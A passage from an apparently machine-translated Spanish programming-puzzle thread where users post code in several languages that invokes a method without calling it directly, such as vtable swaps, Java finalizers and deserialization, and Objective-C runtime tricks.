    CopyMemory b, ByVal a + &H1C, 4
    CopyMemory ByVal a + &H1C, ByVal a + &H1C + 4, 4
    CopyMemory ByVal a + &H1C + 4, b, 4

    Call example.SomeOtherFunction

End Sub

Esto funciona intercambiando la función vptr's para los dos Subs en la tabla vtable para la clase.


Amigo, eres peligroso ! ¡Buena esa!
Mathieu Guindon

Diría que califica, porque en VB6 / VBA un método es miembro de una clase; de ​​lo contrario, es un procedimiento ;)
Mathieu Guindon

5

Haskell

En haskell si haces:

main=putStrLn "This is the main action."

Se ejecutará inmediatamente sin llamarlo cuando lo ejecutes. ¡Magia!


1
Haskell no cuenta. No puede llamar a una acción IO, solo encadenar más acciones IO o asignarla en algún lugar.
John Dvorak

Es el concepto equivalente para las acciones de IO.
PyRulez

5

Javascript

Fácil, solo usa on___eventos en JS. Por ejemplo:

var img = document.createElement('img')
img.onload = func
img.src = 'http://placehold.it/100'

4

Java

Otra respuesta de Java de mi parte. Como puede ver en el código, llama directamente theCalledMethod, pero el método notCalledMethodse ejecuta en su lugar.

Entonces, al final estoy haciendo 2 cosas:

  • Llamar a un método sin llamarlo.
  • No llamar a un método llamándolo.
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class ClassRewriting {
    public static void main(String[] args) throws IOException {
        patchClass();
        OtherClass.theCalledMethod();
    }

    private static void patchClass() throws IOException {
        File f = new File("OtherClass.class");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (InputStream is = new BufferedInputStream(new FileInputStream(f))) {
            int c;
            while ((c = is.read()) != -1) baos.write(c);
        }
        String s = baos.toString()
                .replace("theCalledMethod", "myUselessMethod")
                .replace("notCalledMethod", "theCalledMethod");
        try (OutputStream os = new BufferedOutputStream(new FileOutputStream(f))) {
            for (byte b : s.getBytes()) os.write(b);
        }
    }
}

class OtherClass {
    public static void theCalledMethod() {
        System.out.println("Hi, this is the called method.");
    }

    public static void notCalledMethod() {
        System.out.println("This method is not called anywhere, you should never see this.");
    }
}

Ejecutándolo:

> javac ClassRewriting.java

> java ClassRewriting
This method is not called anywhere, you should never see this.

>

Esto depende de la plataforma. En particular, es probable que falle en OS X, donde la codificación de caracteres predeterminada de la plataforma es UTF-8.
ntoskrnl

@ntoskrnl Esto debería ser fácil de solucionar si pasa el nombre de codificación como parámetro al getBytes()método, activándolo getBytes("UTF-8"). Como no tengo un OS X, ¿podrías probar si esto funciona?
Victor Stafusa

UTF-8 no funciona para datos binarios. Una codificación de un solo byte como ISO-8859-1 debería funcionar, pero tratar los datos binarios como una cadena sigue siendo incorrecto.
ntoskrnl

3
@ntoskrnl De hecho, violar archivos de clase por hacer lo que estoy haciendo aquí está mal, la codificación es el menor de los problemas. :)
Victor Stafusa

4

Pitón

class Snake:

    @property
    def sneak(self):
        print("Hey, what's this box doing here!")
        return True

solid = Snake()

if hasattr(solid, 'sneak'):
    print('Solid Snake can sneak')

4

Java

¡Yay, recolección de basura!

public class CrazyDriver {

    private static class CrazyObject {
        public CrazyObject() {
            System.out.println("Woo!  Constructor!");
        }

        private void indirectMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            indirectMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
    }

    private static void randomMethod() {
        CrazyObject wut = new CrazyObject();
    }
}

Una versión para aquellos que inevitablemente dirán que System.gc()no es confiable:

public class UselessDriver {

    private static class UselessObject {

        public UselessObject() {
            System.out.println("Woo!  Constructor!");
        }

        public void theWinningMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            theWinningMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
        fillTheJVM();
    }


    private static void randomMethod() {
        UselessObject wut = new UselessObject();
    }

    private static void fillTheJVM() {
        try {
            List<Object> jvmFiller = new ArrayList<Object>();
            while(true) {
                jvmFiller.add(new Object());
            }
        }
        catch(OutOfMemoryError oome) {
            System.gc();
        }
    }
}

4

C objetivo

(Probablemente solo si se compila con clang en Mac OS X)

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

void unusedFunction(void) {
    printf("huh?\n");
    exit(0);
}

int main() {

    NSString *string;
    string = (__bridge id)(void*)0x2A27; // Is this really valid?

    NSLog(@"%@", [string stringByAppendingString:@"foo"]);

    return 0;
}

@interface MyClass : NSObject
@end
@implementation MyClass

+ (void)load {
    Class newClass = objc_allocateClassPair([NSValue class], "MyClass2", 0);
    IMP imp = class_getMethodImplementation(self, @selector(unusedMethod));
    class_addMethod(object_getClass(newClass), _cmd, imp, "");
    objc_registerClassPair(newClass);
    [newClass load];
}

- (void)unusedMethod {
    Class class = [self superclass];
    IMP imp = (IMP)unusedFunction;
    class_addMethod(class, @selector(doesNotRecognizeSelector:), imp, "");
}

@end

Este código usa varios trucos para acceder a la función no utilizada. Primero es el valor 0x2A27. Este es un puntero etiquetado para el entero 42, que codifica el valor en el puntero para evitar la asignación de un objeto.

Siguiente es MyClass. Nunca se usa, pero el tiempo de ejecución llama al +loadmétodo cuando se carga, antes main. Esto crea y registra dinámicamente una nueva clase, utilizando NSValuecomo su superclase. También agrega un +loadmétodo para esa clase, utilizando MyClass's -unusedMethodcomo implementación. Después del registro, llama al método de carga en la nueva clase (por alguna razón no se llama automáticamente).

Dado que el método de carga de la nueva clase usa la misma implementación que unusedMethod, eso se llama efectivamente. Toma la superclase de sí mismo y agrega unusedFunctioncomo implementación para el doesNotRecognizeSelector:método de esa clase . Este método era originalmente un método de instancia MyClass, pero se llama como un método de clase en la nueva clase, también lo selfes el nuevo objeto de clase. Por lo tanto, la superclase es NSValue, que también es la superclase para NSNumber.

Finalmente, maincorre. Toma el valor del puntero y lo pega en una NSString *variable (la __bridgeprimera conversión para void *permitir que se use con o sin ARC). Luego, trata de invocar stringByAppendingString:esa variable. Dado que en realidad es un número, que no implementa ese método, doesNotRecognizeSelector:se llama al método en su lugar, que viaja a través de la jerarquía de clases hasta NSValuedonde se implementa utilizando unusedFunction.


Nota: la incompatibilidad con otros sistemas se debe al uso del puntero etiquetado, que no creo que haya sido implementado por otras implementaciones. Si esto fuera reemplazado por un número creado normalmente, el resto del código debería funcionar bien.


Hm, prueba con ciruZ 'ObjFW , es un marco de tiempo y tiempo de ejecución bastante bueno de Objective-C, tal vez esto, o algo similar, también funcionará con él ;-)
mirabilos

@mirabilos La única incompatibilidad es el 0x2A27valor, así que no sé si eso se implementa en otro lugar. ObjFW definitivamente es interesante sin embargo.
ughoavgfhw


@Bryan ¡Gracias! Estaba buscando ese artículo exacto y no podía recordar el nombre correcto.
ughoavgfhw

@BryanChen ah está bien. ughoavgfhw: Claro, solo quería señalar el tiempo de ejecución alternativo en caso de que quisieras jugar con él.
mirabilos

3

Javascript

Siento que esto no parece explícitamente que está llamando a la función

window["false"] =  function() { alert("Hello world"); }
window[![]]();

55
Muy limítrofe si me preguntas.
Cole Johnson

@ColeJohnson Creo que ya lo cruzó ...
Tomas

3

C # (vía using)

using System;

namespace P
{
    class Program : IDisposable
    {
        static void Main(string[] args)
        {
            using (new Program()) ;
        }

        public void Dispose()
        {
            Console.Write("I was called without calling me!");
        }
    }
}

3

Java

package stuff;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class SerialCall {
    static class Obj implements Serializable {
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
            System.out.println("Magic!");
        }
    }

    private static final byte[] data = { -84, -19, 0, 5, 115, 114, 0, 20, 115,
            116, 117, 102, 102, 46, 83, 101, 114, 105, 97, 108, 67, 97, 108,
            108, 36, 79, 98, 106, 126, -35, -23, -68, 115, -91, -19, -120, 2,
            0, 0, 120, 112 };

    public static void main(String[] args) throws Exception {
//      ByteArrayOutputStream baos = new ByteArrayOutputStream();
//      ObjectOutputStream out = new ObjectOutputStream(baos);
//      out.writeObject(new Obj());
//      System.out.println(Arrays.toString(baos.toByteArray()));

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data));
        in.readObject();
    }
}

Estoy aprovechando una característica especial de la serialización de Java. El readObjectmétodo se invoca cuando un objeto se deserializa, pero no se llama directamente, ni por mi código ni por la biblioteca de deserialización. Si profundiza en la fuente, verá que en un nivel bajo el método se llama internamente a través de la reflexión.


sí; la serialización permite bromas muy divertidas :); por cierto, hay formas similares en otros
lobs de

3

Perl

Esto es muy facil. El siguiente código ejecuta automáticamente el código en la subrutina, incluso sin una llamada explícita.

sub call_me_plz {
    BEGIN {
        print "Hello, world!\n";
    }
}
# call_me_plz(); # don't call the method

Incluso si descomenta la llamada, se llamará solo una vez.


¿cómo? no puedo estar detrás de la magia +
masterX244
Al usar nuestro sitio, usted reconoce que ha leído y comprende nuestra Política de Cookies y Política de Privacidad.
Licensed under cc by-sa 3.0 with attribution required.